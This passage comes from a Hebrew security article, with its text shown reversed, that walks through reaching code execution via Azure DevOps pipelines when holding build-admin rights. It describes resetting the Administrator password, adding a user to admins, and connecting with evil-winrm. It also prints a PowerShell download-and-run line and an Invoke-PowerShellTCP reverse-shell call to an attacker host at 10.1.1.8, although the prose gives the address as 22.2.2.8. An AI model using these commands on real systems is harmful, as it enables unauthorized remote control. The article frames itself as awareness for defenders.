 :Build Administrators בקבוצת חבר שהוא מכיוון שונים מסוגים

 

  (.לחוד אחד כל) RCE אל תמימים ים-pipeline משני להגיע אפשר איך נראה בואו

 :שונים pipelines( מלא אבל) מלא ליצור יכולים אנחנו build admin בהרשאת רצים שאנחנו מכיוון
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 YAML בפורמט הכתובים pre-built pipelines של סוגים 32 מעל לנו יוצאו" Azure Repos Git" את נבחר אםו

 של מלאה להתממשקות עד React עם Node.js מהורדת החל :פעולות של מאוד רחב סט ומצבעים

 (:מראש מובנות קונפיגורציה שורות 222 כמעט המכיל קובץ) Azure סביבות עם הפרוייקט

 

 

 

 

 

 

 

 

-ה איש של החיים על להקל יותר או פחות היא מראש מקונפגים ים-pipeline של הזה האדיר המגוון מטרת

devops (במיוחד קלים לא עםפ-ףא ככה שגם )הראשון תרחיש-בתת .חדש תהליך להגדיר ניגשים כשהם 

 בתחילת שלו הקונסטרוקציה לגבי שפירטנו אחד אותו" )Starter pipeline" הבסיסי Pipeline-ב נבחר

 .RCE-ל באמצעותו להגיע ניתן כיצד ונראה( המאמר
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 scriptשתגית מכיוון RCE לנו יש כבר pipeline-ה תצורת על שליטה לנו יש שאם לומר חשוב כל ראשית

 :cmd.exe\ bash באמצעות קוד מריצה

 

 סיסמת את לשנות למשל נוכל. מלאה שליטה להשגת התהליך את לנצל בשביל בריא דמיון רק צריך מכאן

 :מרחוק אליו ולהתחבר Administrator-ה
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 :בהצלחה בוצע job-שה נקבל pipeline-ה הרצת לאחר

 

 שרץ winrm שירות את שמנצל kali מסביבת כלי) evil-winrm באמצעות מרחוק להתחבר יכולים אנחנו כעת

 עם הרשאות גבוהות: למשתמש( המכונה על

 

( robisl) שהשגנו למשתמש שיוסיף pipeline-ה את לקנפג פשוט אפשר, רעש פחות לעשות לנו בא אם או

 :אדמין הרשאות
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 :evil-winrm באמצעות דומה בצורה נתחבר אם מכן ולאחר 

 

 . ביותר הבסיסי מהסוג pipeline עם עבודה הייתה זו

, python ,php :כמו אחרת backend בשפת שימוש שעושה pipeline בכל שימוש לעשות לבחור יכולים היינו

asp.net ,node.js של התגית את( אחרת או כזו בצורה) להכניס מקום יום של בסופו יהיה ןשבכול מכיוון' וכו 

script כה עד שעשינו מה את ולבצע. 

 Pipeline וניצור אחורה צעד במכוון ניקח ,השני תרחישה-תת בשביל, הכוללת התמונה את להראות מנת על

 :כלום בלי ממש. ריק
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 :build-ה תהליך הרצת על שאחראי agent-ל powershell מסוג task נוסיף, מכן לאחר

 

 או פחות זה. בלבד אחת הרצה בשורת reverse shell-ל הקורא סקריפט למשימה להוסיף הוא הבא השלב

 . windows במכונת כשמדובר שקיים נפוץ הכי reverse shell-ל הסקריפט יותר

 :פשוט במשהו מדובר כ"שבסה נבין ארוך יותר קצת במבט אבל בהתחלה מסובך קצת להראות הולך זה
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 ?הזו הפלא בשורת קורה בעצם מה אז

IEX(New-Object Net.Webclient).downloadString('http://10.1.1.8/rev.ps1') 

 מרוחק משרת rev.ps1 בשם קובץ להוריד בשביל. NET פלטפורמת של web client-ב שימוש :בקצרה

 .דינאמית בצורה להריצו מכן לאחר ומיד( שלנו התוקפת המכונה)

 מוגדרים ופורט IP כתובת לפי פתוח חיבור לתפוס זה מטרתו שכל malware הואמורד ה הקובץ :באריכות

 :PS של טרמינל אליו ולהנגיש מראש

Invoke-PowerShellTCP -Reverse -IPAddress 10.1.1.8 -Port 4443 

 לגשת בשביל מחוברים אנחנו שדרכו VPN-ב שלנו הפרטית הכתובת את מציינת 22.2.2.8 כתובתה, כאן

 כלי באמצעות נכנסים וחיבורים לתעבורה להאזין יכולים אנחנו .הנתקפת המכונה יושבת בה לסביבה

netcat: 

 

 ולהחזיר כפקודה אותו להריץ, string לקבל מטרתו. Invoke-Expression של קיצור הוא IEX-ה Powershell-ב

 . הפלט את

 :http.server :מוכר פייתון במודל ניעזר שלנו מהמכונה HTTP שרת לפתוח מנת על

 

 ושליחת קליטת) אינטראקטיבית בצורה נאזין, pipeline-ה את ונריץ שנאשר לפני :ביחד מזמר הכל איך

 . rev.ps1 קובץ נמצא שבה בתיקייה HTTP שרת נפתח ובמקביל 4443 פורט על netcat באמצעות( פלט-קלט

 על שיושב השרת. rev.ps1 הקובץ את למשוך ינסה הסקריפט מורץ עליו השרת, pipeline-ה הרצת עם

 הקובץ את ירנדר והוא הסקריפט של הבא השלב יתבצע, מכן לאחר. בכיף הקובץ את ינגיש שלנו המכונה

 . תכולתו את להריץ וינסה רדי עתהזה ש

 של והתהליך בקשה תשלח היא 4443 בפורט שלנו המכונה עם להתממשק מקונפגת בתוכו שהשורה מכיוון

netcat הבקשה את לתפוס בשביל שם בדיוק יהיה . 

 . השרת על מרחוק פקודות להריץ מסוגלים ונהיה PS המריץ reverse shell יווצר כך
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מקבל חיבור  netcat, צד ימין: שרת rev.ps1שלנו מגיש את הקובץ  HTTP)צד שמאל: שרת  ובתמונה

 אינטרקטיבי מהשרת הנתקף(:

 

 

 סיכום

 ואת DevOps-ה עולם עימו שמביא החדש הכיוון את הצגנו. מעט לא עברנו, זה מאמר של לסיומו הגענו אז

 .הימשתמשל יחצנתימ Azure DevOps-ש הנוספים הענן כלי

 הרבה כך כל מדוע לשאלה מענה לתת הדרך ועל) בה שקיים ומה הסביבה כל על להסביר היה התכנון

 .אותה לנצל ניתן כיצד להראות המאמר של השני ובחצי( לענן איתה מתממשקים devops ואנשי מפתחים

 אנשי ליותר להציג באמת אלא שהתגלתה חדשה חולשה להאיר או בטירוף טכני להיות שאף לא המאמר

 גם שני ומהצד; בה עיקריים רים'ופיצ ודגשים Azure של DevOps-ה סביבת של קיומה על מידע אבטחת

 בצורה הרשאות לנהל חשוב כה ומדוע, בה שקיימות מאליו ברורות כך הכל הסכנות אל פיתוח אנשי לחשוף

 ..!( ושב עובר לכל pipelines של בנייה השראות לפזר ולא) נכונה

  חדש משהו מהמאמר שלקחתם מקווים

 

 הכותבים על

 וטיולים אוכל, והשקעות בורסה חובב. מידע ואבטחת חולשות בחקר מתעסק, 22 בן, אור דוד. 

 ומכור סודה, סוקולנטים חובב. פרטית ולא קטנה לא בחברה מידע אבטחת חוקר, 27 בן ,יהונתן אלקבס 
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